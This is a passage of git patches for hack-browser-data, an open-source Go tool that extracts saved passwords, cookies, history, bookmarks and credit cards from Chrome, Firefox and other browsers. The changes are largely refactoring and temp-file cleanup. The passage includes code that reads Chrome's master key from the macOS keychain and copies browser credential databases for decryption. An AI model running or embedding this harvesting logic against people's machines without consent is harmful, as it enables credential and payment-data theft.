-func Execute() {
- app := &cli.App{
- Name: "hack-browser-browingdata",
- Usage: "Export passwords/cookies/history/bookmarks from browser",
- UsageText: "[hack-browser-browingdata -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
- Version: "0.4.0",
- Flags: []cli.Flag{
- &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
- &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
- &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
- &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
- &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
- &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
- },
- HideHelpCommand: true,
- Action: func(ctx *cli.Context) error {
- var (
- browsers []browser.Browser
- err error
- )
- if verbose {
- log.InitLog("debug")
- } else {
- log.InitLog("error")
- }
- browsers = browser.PickBrowser(browserName)
-
- output := outputter.NewOutPutter(outputFormat)
- if err := output.MakeDir(exportDir); err != nil {
- panic(err)
- }
- for _, b := range browsers {
- fmt.Printf("%+v\n", b)
- if err := b.CopyItemFileToLocal(); err != nil {
- panic(err)
- }
- masterKey, err := b.GetMasterKey()
- if err != nil {
- fmt.Println(err)
- }
- browserName := b.GetName()
- multiData := b.GetBrowsingData()
- for _, data := range multiData {
- if err := data.Parse(masterKey); err != nil {
- fmt.Println(err)
- }
- filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), outputFormat)
- file, err := output.CreateFile(exportDir, filename)
- if err != nil {
- panic(err)
- }
- if err := output.Write(data, file); err != nil {
- panic(err)
- }
- }
- }
- return err
- },
- }
- err := app.Run(os.Args)
- if err != nil {
- log.Error(err)
- }
-}
-
-// func Execute() {
-// app := &cli.App{
-// Name: "hack-browser-browingdata",
-// Usage: "Export passwords/cookies/history/bookmarks from browser",
-// UsageText: "[hack-browser-browingdata -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
-// Version: "0.3.7",
-// Flags: []cli.Flag{
-// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
-// &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
-// &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
-// &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
-// &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
-// &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
-// },
-// HideHelpCommand: true,
-// Action: func(c *cli.Context) error {
-// var (
-// browsers []core.Browser
-// err error
-// )
-// if verbose {
-// log.InitLog("debug")
-// } else {
-// log.InitLog("error")
-// }
-// if customProfilePath != "" {
-// browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
-// if err != nil {
-// log.Error(err)
-// }
-// } else {
-// // default select all browsers
-// browsers, err = core.PickBrowser(browserName)
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// err = utils.MakeDir(exportDir)
-// if err != nil {
-// log.Error(err)
-// }
-// for _, browser := range browsers {
-// err := browser.InitSecretKey()
-// if err != nil {
-// log.Error(err)
-// }
-// // default select all items
-// // you can get single item with browser.GetItem(itemName)
-// items, err := browser.GetAllItems()
-// if err != nil {
-// log.Error(err)
-// }
-// name := browser.GetName()
-// key := browser.GetSecretKey()
-// for _, item := range items {
-// err := item.CopyDB()
-// if err != nil {
-// log.Error(err)
-// }
-// switch browser.(type) {
-// case *core.Chromium:
-// err := item.ChromeParse(key)
-// if err != nil {
-// log.Error(err)
-// }
-// case *core.Firefox:
-// err := item.FirefoxParse()
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// err = item.Release()
-// if err != nil {
-// log.Error(err)
-// }
-// err = item.OutPut(outputFormat, name, exportDir)
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// }
-// if compress {
-// err = utils.Compress(exportDir)
-// if err != nil {
-// log.Error(err)
-// }
-// }
-// return nil
-// },
-// }
-// err := app.Run(os.Args)
-// if err != nil {
-// log.Error(err)
-// }
-// }
diff --git a/internal/browingdata/creditcard.go b/internal/browingdata/creditcard.go
index 2c19a8e..4c0c9b8 100644
--- a/internal/browingdata/creditcard.go
+++ b/internal/browingdata/creditcard.go
@@ -3,6 +3,7 @@ package browingdata
import (
"database/sql"
"fmt"
+ "os"
_ "github.com/mattn/go-sqlite3"
@@ -17,6 +18,7 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempChromiumCreditCard)
defer creditDB.Close()
rows, err := creditDB.Query(queryChromiumCredit)
if err != nil {
diff --git a/internal/browingdata/download.go b/internal/browingdata/download.go
index f421be6..50ab81b 100644
--- a/internal/browingdata/download.go
+++ b/internal/browingdata/download.go
@@ -3,6 +3,7 @@ package browingdata
import (
"database/sql"
"fmt"
+ "os"
"sort"
"strings"
@@ -20,6 +21,7 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempChromiumDownload)
defer historyDB.Close()
rows, err := historyDB.Query(queryChromiumDownload)
if err != nil {
@@ -66,6 +68,8 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempFirefoxDownload)
+ defer keyDB.Close()
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
return err
diff --git a/internal/browingdata/history.go b/internal/browingdata/history.go
index 5c96309..ed60ad8 100644
--- a/internal/browingdata/history.go
+++ b/internal/browingdata/history.go
@@ -3,6 +3,7 @@ package browingdata
import (
"database/sql"
"fmt"
+ "os"
"sort"
_ "github.com/mattn/go-sqlite3"
@@ -18,6 +19,7 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempChromiumHistory)
defer historyDB.Close()
rows, err := historyDB.Query(queryChromiumHistory)
if err != nil {
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 8fc017a..63fc473 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -6,6 +6,7 @@ import (
"encoding/base64"
"fmt"
"io/ioutil"
+ "os"
"sort"
"time"
@@ -24,6 +25,7 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempChromiumPassword)
defer loginDB.Close()
rows, err := loginDB.Query(queryChromiumLogin)
if err != nil {
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index aa115c0..9eee6c1 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -1,6 +1,7 @@
package browser
import (
+ "fmt"
"os"
"strings"
@@ -9,10 +10,10 @@ import (
)
type Browser interface {
- GetName() string
+ Name() string
GetMasterKey() ([]byte, error)
-
+ // GetBrowsingData returns the browsing data for the browser.
GetBrowsingData() (*browingdata.Data, error)
}
@@ -52,7 +53,11 @@ func pickChromium(name string) []Browser {
if c, ok := chromiumList[name]; ok {
b, err := chromium.New(c.name, c.storage, c.profilePath, c.items)
if err != nil {
- panic(err)
+ if strings.Contains(err.Error(), "profile path is not exist") {
+ fmt.Println(err.Error())
+ } else {
+ panic(err)
+ }
}
browsers = append(browsers, b)
return browsers
@@ -97,13 +102,13 @@ var (
const (
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
- chromiumName = "ChromiumBookmark"
+ chromiumName = "Chromium"
edgeName = "Microsoft Edge"
- firefoxName = "FirefoxBookmark"
- firefoxBetaName = "FirefoxBookmark Beta"
- firefoxDevName = "FirefoxBookmark Dev"
- firefoxNightlyName = "FirefoxBookmark Nightly"
- firefoxESRName = "FirefoxBookmark ESR"
+ firefoxName = "Firefox"
+ firefoxBetaName = "Firefox Beta"
+ firefoxDevName = "Firefox Dev"
+ firefoxNightlyName = "Firefox Nightly"
+ firefoxESRName = "Firefox ESR"
speed360Name = "360speed"
qqBrowserName = "QQ"
braveName = "Brave"
diff --git a/internal/browser/browser_darwin.go b/internal/browser/browser_darwin.go
index 29a1e48..2b3af00 100644
--- a/internal/browser/browser_darwin.go
+++ b/internal/browser/browser_darwin.go
@@ -1,3 +1,5 @@
+//go:build darwin
+
package browser
import (
diff --git a/internal/browser/browser_linux.go b/internal/browser/browser_linux.go
index 199464e..c8d3c13 100644
--- a/internal/browser/browser_linux.go
+++ b/internal/browser/browser_linux.go
@@ -1 +1,3 @@
+//go:build linux
+
package browser
diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go
index f261abd..5046ca0 100644
--- a/internal/browser/browser_test.go
+++ b/internal/browser/browser_test.go
@@ -10,38 +10,7 @@ import (
)
func TestPickChromium(t *testing.T) {
- // browsers := pickChromium("chrome")
- // log.InitLog("debug")
- // filetype := "json"
- // // dir := "result"
- // output := outputter.NewOutPutter(filetype)
- // _ = output
- // for _, b := range browsers {
- // fmt.Printf("%+v\n", b)
- // if err := b.CopyItemFileToLocal(); err != nil {
- // panic(err)
- // }
- // _, err := b.GetMasterKey()
- // if err != nil {
- // fmt.Println(err)
- // }
- // // browserName := b.GetName()
- // data, err := b.GetBrowsingData()
- // fmt.Println(data)
- // // for _, data := range multiData {
- // // if err := data.Parse(masterKey); err != nil {
- // // fmt.Println(err)
- // // }
- // // filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
- // // file, err := output.CreateFile(dir, filename)
- // // if err != nil {
- // // panic(err)
- // // }
- // // if err := output.Write(data, file); err != nil {
- // // panic(err)
- // // }
- // // }
- // }
+
}
func TestGetChromiumItemAbsPath(t *testing.T) {
@@ -55,7 +24,7 @@ func TestGetChromiumItemAbsPath(t *testing.T) {
if err != nil {
t.Error(err)
}
- output := outputter.NewOutPutter("json")
+ output := outputter.New("json")
if err != nil {
t.Error(err)
@@ -74,18 +43,18 @@ func TestGetChromiumItemAbsPath(t *testing.T) {
func TestPickBrowsers(t *testing.T) {
browsers := PickBrowser("all")
for _, v := range browsers {
- fmt.Println(v.GetName())
+ fmt.Println(v.Name())
}
// filetype := "json"
// dir := "result"
- // output := outputter.NewOutPutter(filetype)
+ // output := outputter.New(filetype)
}
// func TestPickFirefox(t *testing.T) {
// browsers := pickFirefox("all")
// filetype := "json"
// dir := "result"
-// output := outputter.NewOutPutter(filetype)
+// output := outputter.New(filetype)
// if err := output.MakeDir("result"); err != nil {
// panic(err)
// }
@@ -98,7 +67,7 @@ func TestPickBrowsers(t *testing.T) {
// if err != nil {
// fmt.Println(err)
// }
-// browserName := b.GetName()
+// browserName := b.Name()
// multiData := b.GetBrowsingData()
// for _, data := range multiData {
// if err := data.Parse(masterKey); err != nil {
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index 03bb126..4e3fb5a 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -1,3 +1,5 @@
+//go:build windows
+
package browser
import (
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
index 05a46e9..3a02770 100644
--- a/internal/browser/chromium/chromium.go
+++ b/internal/browser/chromium/chromium.go
@@ -32,30 +32,17 @@ func New(name, storage, profilePath string, items []item.Item) (*chromium, error
if !fileutil.FolderExists(profilePath) {
return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
}
- masterKey, err := c.GetMasterKey()
- if err != nil {
- return nil, err
- }
itemsPaths, err := c.getItemPath(profilePath, items)
if err != nil {
return nil, err
}
- c.masterKey = masterKey
c.profilePath = profilePath
c.itemPaths = itemsPaths
c.items = typeutil.Keys(itemsPaths)
return c, err
}
-func (c *chromium) GetItems() []item.Item {
- return c.items
-}
-
-func (c *chromium) GetItemPaths() map[item.Item]string {
- return c.itemPaths
-}
-
-func (c *chromium) GetName() string {
+func (c *chromium) Name() string {
return c.name
}
@@ -65,6 +52,13 @@ func (c *chromium) GetBrowsingData() (*browingdata.Data, error) {
if err := c.copyItemToLocal(); err != nil {
return nil, err
}
+
+ masterKey, err := c.GetMasterKey()
+ if err != nil {
+ return nil, err
+ }
+
+ c.masterKey = masterKey
if err := b.Recovery(c.masterKey); err != nil {
return nil, err
}
diff --git a/internal/browser/chromium/chromium_darwin.go b/internal/browser/chromium/chromium_darwin.go
index 72cb485..3fc247f 100644
--- a/internal/browser/chromium/chromium_darwin.go
+++ b/internal/browser/chromium/chromium_darwin.go
@@ -4,13 +4,18 @@ import (
"bytes"
"crypto/sha1"
"errors"
+ "os"
"os/exec"
+ "strings"
"golang.org/x/crypto/pbkdf2"
+
+ "hack-browser-data/internal/item"
)
var (
- ErrWrongSecurityCommand = errors.New("macOS wrong security command")
+ ErrWrongSecurityCommand = errors.New("macOS wrong security command")
+ ErrCouldNotFindInKeychain = errors.New("macOS could not find in keychain")
)
func (c *chromium) GetMasterKey() ([]byte, error) {
@@ -18,6 +23,10 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
+ // don't need chromium key file for macOS
+ defer os.Remove(item.TempChromiumKey)
+ // defer os.Remove(item.TempChromiumKey)
+ // Get the master key from the keychain
// $ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.storage)
cmd.Stdout = &stdout
@@ -27,6 +36,9 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
return nil, err
}
if stderr.Len() > 0 {
+ if strings.Contains(stderr.String(), "could not be found") {
+ return nil, ErrCouldNotFindInKeychain
+ }
return nil, errors.New(stderr.String())
}
chromeSecret := bytes.TrimSpace(stdout.Bytes())
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index 7345c06..171d8d5 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -100,7 +100,7 @@ package firefox
// return f.masterKey, nil
// }
//
-// func (f *firefox) GetName() string {
+// func (f *firefox) Name() string {
// return f.name
// }
//
diff --git a/internal/item/item.go b/internal/item/item.go
index 0db919b..33dddba 100644
--- a/internal/item/item.go
+++ b/internal/item/item.go
@@ -93,7 +93,7 @@ func (i Item) String() string {
case ChromiumExtension:
return UnsupportedItem
case ChromiumHistory:
- return TempChromiumExtension
+ return TempChromiumHistory
case YandexPassword:
return TempYandexPassword
case YandexCreditCard:
diff --git a/internal/outputter/outputter.go b/internal/outputter/outputter.go
index ece26f0..7548d7d 100644
--- a/internal/outputter/outputter.go
+++ b/internal/outputter/outputter.go
@@ -18,7 +18,7 @@ type outPutter struct {
csv bool
}
-func NewOutPutter(flag string) *outPutter {
+func New(flag string) *outPutter {
o := &outPutter{}
if flag == "json" {
o.json = true
diff --git a/internal/outputter/outputter_test.go b/internal/outputter/outputter_test.go
index ed37e85..e0785c4 100644
--- a/internal/outputter/outputter_test.go
+++ b/internal/outputter/outputter_test.go
@@ -6,9 +6,9 @@ import (
)
func TestNewOutPutter(t *testing.T) {
- out := NewOutPutter("json")
+ out := New("json")
if out == nil {
- t.Error("NewOutPutter() returned nil")
+ t.Error("New() returned nil")
}
f, err := out.CreateFile("results", "test.json")
if err != nil {
diff --git a/internal/utils/fileutil/filetutil.go b/internal/utils/fileutil/filetutil.go
index 87f30e5..e97262e 100644
--- a/internal/utils/fileutil/filetutil.go
+++ b/internal/utils/fileutil/filetutil.go
@@ -1,8 +1,11 @@
package fileutil
import (
+ "fmt"
"io/ioutil"
"os"
+
+ "hack-browser-data/internal/item"
)
// FileExists checks if the file exists in the provided path
@@ -34,3 +37,21 @@ func ReadFile(filename string) (string, error) {
s, err := ioutil.ReadFile(filename)
return string(s), err
}
+
+// CopyItemToLocal copies the file from the provided path to the local path
+func CopyItemToLocal(itemPaths map[item.Item]string) error {
+ for i, path := range itemPaths {
+ // var dstFilename = item.TempName()
+ var filename = i.String()
+ // TODO: Handle read file error
+ d, err := ioutil.ReadFile(path)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(filename, d, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
diff --git a/main.go b/main.go
deleted file mode 100644
index a8c3b94..0000000
--- a/main.go
+++ /dev/null
@@ -1,9 +0,0 @@
-package main
-
-import (
- "hack-browser-data/cmd"
-)
-
-func main() {
- cmd.Execute()
-}
From e0a3fd3ca2880cd27024a5f49c449ff8edff9885 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Mon, 11 Apr 2022 20:53:50 +0800
Subject: [PATCH 19/33] feat: add firefox decrypt
---
internal/browingdata/bookmark.go | 2 +-
internal/browingdata/cookie.go | 1 +
internal/browingdata/history.go | 2 +
internal/browingdata/password.go | 2 +
internal/browser/browser.go | 19 +--
internal/browser/firefox/firefox.go | 237 +++++++++++++++-------------
internal/item/item.go | 2 +-
7 files changed, 140 insertions(+), 125 deletions(-)
diff --git a/internal/browingdata/bookmark.go b/internal/browingdata/bookmark.go
index 723bf3b..2fe2a95 100644
--- a/internal/browingdata/bookmark.go
+++ b/internal/browingdata/bookmark.go
@@ -92,7 +92,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
if err != nil {
return err
}
- defer os.RemoveAll(item.TempFirefoxBookmark)
+ defer os.Remove(item.TempFirefoxBookmark)
defer keyDB.Close()
_, err = keyDB.Exec(closeJournalMode)
diff --git a/internal/browingdata/cookie.go b/internal/browingdata/cookie.go
index 775b1a3..96f04e5 100644
--- a/internal/browingdata/cookie.go
+++ b/internal/browingdata/cookie.go
@@ -84,6 +84,7 @@ func (f *FirefoxCookie) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempFirefoxCookie)
defer cookieDB.Close()
rows, err := cookieDB.Query(queryFirefoxCookie)
if err != nil {
diff --git a/internal/browingdata/history.go b/internal/browingdata/history.go
index ed60ad8..e6f3bb8 100644
--- a/internal/browingdata/history.go
+++ b/internal/browingdata/history.go
@@ -66,6 +66,8 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
if err != nil {
return err
}
+ defer os.Remove(item.TempFirefoxHistory)
+ defer keyDB.Close()
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
return err
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 63fc473..51bbb45 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -156,6 +156,7 @@ func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err
if err != nil {
return nil, nil, nil, nil, err
}
+ defer os.Remove(key4file)
defer keyDB.Close()
if err = keyDB.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
@@ -173,6 +174,7 @@ func getFirefoxLoginData(loginJson string) (l []loginData, err error) {
if err != nil {
return nil, err
}
+ defer os.Remove(loginJson)
h := gjson.GetBytes(s, "logins")
if h.Exists() {
for _, v := range h.Array() {
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 9eee6c1..9625d7f 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -7,6 +7,7 @@ import (
"hack-browser-data/internal/browingdata"
"hack-browser-data/internal/browser/chromium"
+ "hack-browser-data/internal/browser/firefox"
)
type Browser interface {
@@ -69,15 +70,15 @@ func pickFirefox(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
- // for _, f := range firefoxList {
- // multiFirefox, err := firefox(f.browserInfo, f.items)
- // if err != nil {
- // panic(err)
- // }
- // for _, browser := range multiFirefox {
- // browsers = append(browsers, browser)
- // }
- // }
+ for _, v := range firefoxList {
+ multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items)
+ if err != nil {
+ panic(err)
+ }
+ for _, browser := range multiFirefox {
+ browsers = append(browsers, browser)
+ }
+ }
return browsers
}
return nil
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index 171d8d5..c4ebacf 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -1,116 +1,125 @@
package firefox
-// type firefox struct {
-// name string
-// storage string
-// profilePath string
-// masterKey []byte
-// items []item.Item
-// itemPaths map[item.Item]string
-// multiItemPaths map[string]map[item.Item]string
-// }
-//
-// // New
-// func New(info *browserInfo, items []item.Item) ([]*firefox, error) {
-// f := &firefox{
-// browserInfo: info,
-// items: items,
-// }
-// multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
-// if err != nil {
-// if strings.Contains(err.Error(), "profile path is not exist") {
-// fmt.Println(err)
-// return nil, nil
-// }
-// panic(err)
-// }
-// var firefoxList []*firefox
-// for name, value := range multiItemPaths {
-// firefoxList = append(firefoxList, &firefox{
-// browserInfo: &browserInfo{
-// name: name,
-// masterKey: nil,
-// },
-// items: items,
-// itemPaths: value,
-// })
-// }
-// return firefoxList, nil
-// }
-//
-// func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
-// var multiItemPaths = make(map[string]map[item.Item]string)
-// absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
-// // TODO: Handle read file error
-// if !isFileExist(absProfilePath) {
-// return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
-// }
-// err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
-// return multiItemPaths, err
-// }
-//
-// func (f *firefox) CopyItemFileToLocal() error {
-// for item, sourcePath := range f.itemPaths {
-// var dstFilename = item.TempName()
-// locals, _ := filepath.Glob("*")
-// for _, v := range locals {
-// if v == dstFilename {
-// err := os.Remove(dstFilename)
-// // TODO: Should Continue all iteration error
-// if err != nil {
-// return err
-// }
-// }
-// }
-//
-// // TODO: Handle read file name error
-// sourceFile, err := ioutil.ReadFile(sourcePath)
-// if err != nil {
-// fmt.Println(err.Error())
-// }
-// err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
-// if err != nil {
-// return err
-// }
-// }
-// return nil
-// }
-//
-// func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
-// return func(path string, info fs.FileInfo, err error) error {
-// for _, v := range items {
-// if info.Name() == v.FileName() {
-// parentDir := getParentDir(path)
-// if _, exist := multiItemPaths[parentDir]; exist {
-// multiItemPaths[parentDir][v] = path
-// } else {
-// multiItemPaths[parentDir] = map[item.Item]string{v: path}
-// }
-// }
-// }
-// return err
-// }
-// }
-//
-// func getParentDir(absPath string) string {
-// return filepath.Base(filepath.Dir(absPath))
-// }
-//
-// func (f *firefox) GetMasterKey() ([]byte, error) {
-// return f.masterKey, nil
-// }
-//
-// func (f *firefox) Name() string {
-// return f.name
-// }
-//
-// func (f *firefox) GetBrowsingData() []browingdata.Source {
-// var browsingData []browingdata.Source
-// for item := range f.itemPaths {
-// d := item.NewBrowsingData()
-// if d != nil {
-// browsingData = append(browsingData, d)
-// }
-// }
-// return browsingData
-// }
+import (
+ "fmt"
+ "io/fs"
+ "io/ioutil"
+ "path/filepath"
+ "strings"
+
+ "hack-browser-data/internal/browingdata"
+ "hack-browser-data/internal/item"
+ "hack-browser-data/internal/utils/fileutil"
+ "hack-browser-data/internal/utils/typeutil"
+)
+
+type firefox struct {
+ name string
+ storage string
+ profilePath string
+ masterKey []byte
+ items []item.Item
+ itemPaths map[item.Item]string
+}
+
+// New returns a new firefox instance.
+func New(name, storage, profilePath string, items []item.Item) ([]*firefox, error) {
+ f := &firefox{
+ name: name,
+ storage: storage,
+ profilePath: profilePath,
+ items: items,
+ }
+ if !fileutil.FolderExists(profilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
+ }
+
+ multiItemPaths, err := f.getMultiItemPath(f.profilePath, f.items)
+ if err != nil {
+ if strings.Contains(err.Error(), "profile path is not exist") {
+ fmt.Println(err)
+ return nil, nil
+ }
+ return nil, err
+ }
+ var firefoxList []*firefox
+ for name, itemPaths := range multiItemPaths {
+ firefoxList = append(firefoxList, &firefox{
+ name: name,
+ items: typeutil.Keys(itemPaths),
+ itemPaths: itemPaths,
+ })
+ }
+ return firefoxList, nil
+}
+
+func (f *firefox) getMultiItemPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
+ var multiItemPaths = make(map[string]map[item.Item]string)
+
+ err := filepath.Walk(profilePath, firefoxWalkFunc(items, multiItemPaths))
+ return multiItemPaths, err
+}
+
+func (f *firefox) copyItemToLocal() error {
+ for i, path := range f.itemPaths {
+ // var dstFilename = item.TempName()
+ var filename = i.String()
+ // TODO: Handle read file error
+ d, err := ioutil.ReadFile(path)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(filename, d, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
+ return func(path string, info fs.FileInfo, err error) error {
+ for _, v := range items {
+ if info.Name() == v.FileName() {
+ parentDir := getParentDir(path)
+ if _, exist := multiItemPaths[parentDir]; exist {
+ multiItemPaths[parentDir][v] = path
+ } else {
+ multiItemPaths[parentDir] = map[item.Item]string{v: path}
+ }
+ }
+ }
+ return err
+ }
+}
+
+func getParentDir(absPath string) string {
+ return filepath.Base(filepath.Dir(absPath))
+}
+
+func (f *firefox) GetMasterKey() ([]byte, error) {
+ return f.masterKey, nil
+}
+
+func (f *firefox) Name() string {
+ return f.name
+}
+
+func (f *firefox) GetBrowsingData() (*browingdata.Data, error) {
+ b := browingdata.New(f.items)
+
+ if err := f.copyItemToLocal(); err != nil {
+ return nil, err
+ }
+
+ masterKey, err := f.GetMasterKey()
+ if err != nil {
+ return nil, err
+ }
+
+ f.masterKey = masterKey
+ if err := b.Recovery(f.masterKey); err != nil {
+ return nil, err
+ }
+ return b, nil
+}
diff --git a/internal/item/item.go b/internal/item/item.go
index 33dddba..c2fb49a 100644
--- a/internal/item/item.go
+++ b/internal/item/item.go
@@ -103,7 +103,7 @@ func (i Item) String() string {
case FirefoxPassword:
return TempFirefoxPassword
case FirefoxCookie:
- return TempFirefoxPassword
+ return TempFirefoxCookie
case FirefoxBookmark:
return TempFirefoxBookmark
case FirefoxDownload:
From 83102c042ec0180a37ac476845115a1c853dd017 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Tue, 12 Apr 2022 11:29:01 +0800
Subject: [PATCH 20/33] feat: add log
---
internal/browingdata/bookmark.go | 4 ++--
internal/browingdata/browsingdata.go | 3 ++-
internal/browingdata/cookie.go | 14 +++++---------
internal/browingdata/creditcard.go | 4 ++--
internal/browingdata/download.go | 3 ++-
internal/browingdata/history.go | 6 +++---
internal/browingdata/password.go | 12 ++++--------
7 files changed, 20 insertions(+), 26 deletions(-)
diff --git a/internal/browingdata/bookmark.go b/internal/browingdata/bookmark.go
index 2fe2a95..94afb7f 100644
--- a/internal/browingdata/bookmark.go
+++ b/internal/browingdata/bookmark.go
@@ -2,7 +2,6 @@ package browingdata
import (
"database/sql"
- "fmt"
"os"
"sort"
"time"
@@ -10,6 +9,7 @@ import (
"github.com/tidwall/gjson"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils"
"hack-browser-data/internal/utils/fileutil"
@@ -107,7 +107,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
title, url string
)
if err = bookmarkRows.Scan(&id, &url, &bType, &dateAdded, &title); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
*f = append(*f, bookmark{
ID: id,
diff --git a/internal/browingdata/browsingdata.go b/internal/browingdata/browsingdata.go
index 7b2a9d1..6c14dea 100644
--- a/internal/browingdata/browsingdata.go
+++ b/internal/browingdata/browsingdata.go
@@ -4,6 +4,7 @@ import (
"time"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
)
type Data struct {
@@ -28,7 +29,7 @@ func (d *Data) Recovery(masterKey []byte) error {
for _, source := range d.Sources {
if err := source.Parse(masterKey); err != nil {
- panic(err)
+ log.Error(err)
}
}
return nil
diff --git a/internal/browingdata/cookie.go b/internal/browingdata/cookie.go
index 96f04e5..082382f 100644
--- a/internal/browingdata/cookie.go
+++ b/internal/browingdata/cookie.go
@@ -2,7 +2,6 @@ package browingdata
import (
"database/sql"
- "fmt"
"os"
"sort"
@@ -10,6 +9,7 @@ import (
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils"
)
@@ -35,7 +35,7 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
cookie := cookie{
@@ -52,17 +52,13 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
}
// TODO: replace DPAPI
if len(encryptValue) > 0 {
+ var err error
